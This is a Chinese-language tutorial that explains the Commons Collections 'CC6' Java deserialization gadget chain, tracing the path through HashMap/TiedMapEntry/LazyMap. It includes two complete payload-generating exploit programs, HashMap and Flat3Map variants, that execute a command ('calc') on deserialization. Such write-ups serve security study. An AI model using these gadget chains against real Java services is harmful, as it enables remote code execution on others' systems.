# 本文知识点:

测试环境:3.1-3.2.1,jdk1.7,1.8

CC5 用了 BadAttributeValueExpException 反序列化去触发 LazyMap.get (),除了 BadAttributeValueExpException 、AnnotationInvocationHandler 还有其他方法吗? HashMap!

# 正文:

我们再研究研究 TiedMapEntry 这个类

public class TiedMapEntry implements Entry, KeyValue, Serializable {

    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    //构造函数,显然我们可以控制 this.map 为 LazyMap
    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

    //hashCode函数,注意这里调用了 getValue()
    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

    //跟进 getValue(), 这是关键点 this.map.get() 触发 LazyMap.get()
    public Object getValue() {
        return this.map.get(this.key);
    }

}

如何反序列化时触发 TiedMapEntry.hashCode () ? 这就引入了 HashMap!

//这里是 jdk 1.7 的,不同版本 HashMap readObject 可能略有不同
public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {

    //先看看其 readObject
    private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
        …………
         // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            K key = (K) s.readObject();
            V value = (V) s.readObject();
            putForCreate(key, value);
        }
    }

     //跟进 putForCreate 方法
     private void putForCreate(K key, V value) {
        int hash = null == key ? 0 : hash(key); //关键点,我们可以控制 key 为TiedMapEntry,然后计算hash(TiedMapEntry)
        int i = indexFor(hash, table.length);

         …………

        createEntry(hash, key, value, i);
    }

    //跟进 hash 方法
    final int hash(Object k) {
        int h = hashSeed;
        if (0 != h && k instanceof String) {
            return sun.misc.Hashing.stringHash32((String) k);
        }

        h ^= k.hashCode();  //关键点,触发 TiedMapEntry.hashCode()
        …………
    }

# HashMap 实现

最终实现代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections6 {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        Transformer[] fakeTransformer = new Transformer[]{};

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer实例
        //先设置假的 Transformer 数组,防止生成时执行命令
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);

        //LazyMap实例
        Map uselessMap = new HashMap();
        Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

        //TiedMapEntry 实例
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");

        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry, "test");


        //通过反射设置真的 transformer 数组
        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        //清空由于 hashMap.put 对 LazyMap 造成的影响
        lazyMap.clear();

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashMap);
        oos.flush();
        oos.close();

        //测试反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();

    }

}

大体调用栈:

//这里是 jdk 1.7 的,不同版本 HashMap readObject 可能略有不同
  ->HashMap.readObject()
      ->HashMap.putForCreate()
          ->HashMap.hash()
            ->TiedMapEntry.hashCode()
                    ->TiedMapEntry.getValue()
                    ->LazyMap.get()
                      ->ChainedTransformer.transform()
                          ->ConstantTransformer.transform()
                              ->InvokerTransformer.transform()
                                  ->…………

# Flat3Map 实现

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.Flat3Map;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Map;

public class cc6Flat3Map {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        Transformer[] fakeTransformer = new Transformer[]{};

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer实例
        //先设置假的 Transformer 数组,防止生成时执行命令
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);

        //LazyMap实例
//        Map uselessMap = new HashMap();
        Map uselessMap = new Flat3Map();
        Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

        //TiedMapEntry 实例
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");

//        HashMap hashMap = new HashMap();
//        hashMap.put(tiedMapEntry, "test");
        Flat3Map flat3Map = new Flat3Map();
        flat3Map.put(tiedMapEntry, "test");

        //通过反射设置真的 transformer 数组
        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        //清空由于 hashMap.put 对 LazyMap 造成的影响
        lazyMap.clear();

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
//        oos.writeObject(hashMap);
        oos.writeObject(flat3Map);
        oos.flush();
        oos.close();

        //测试反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();

    }

}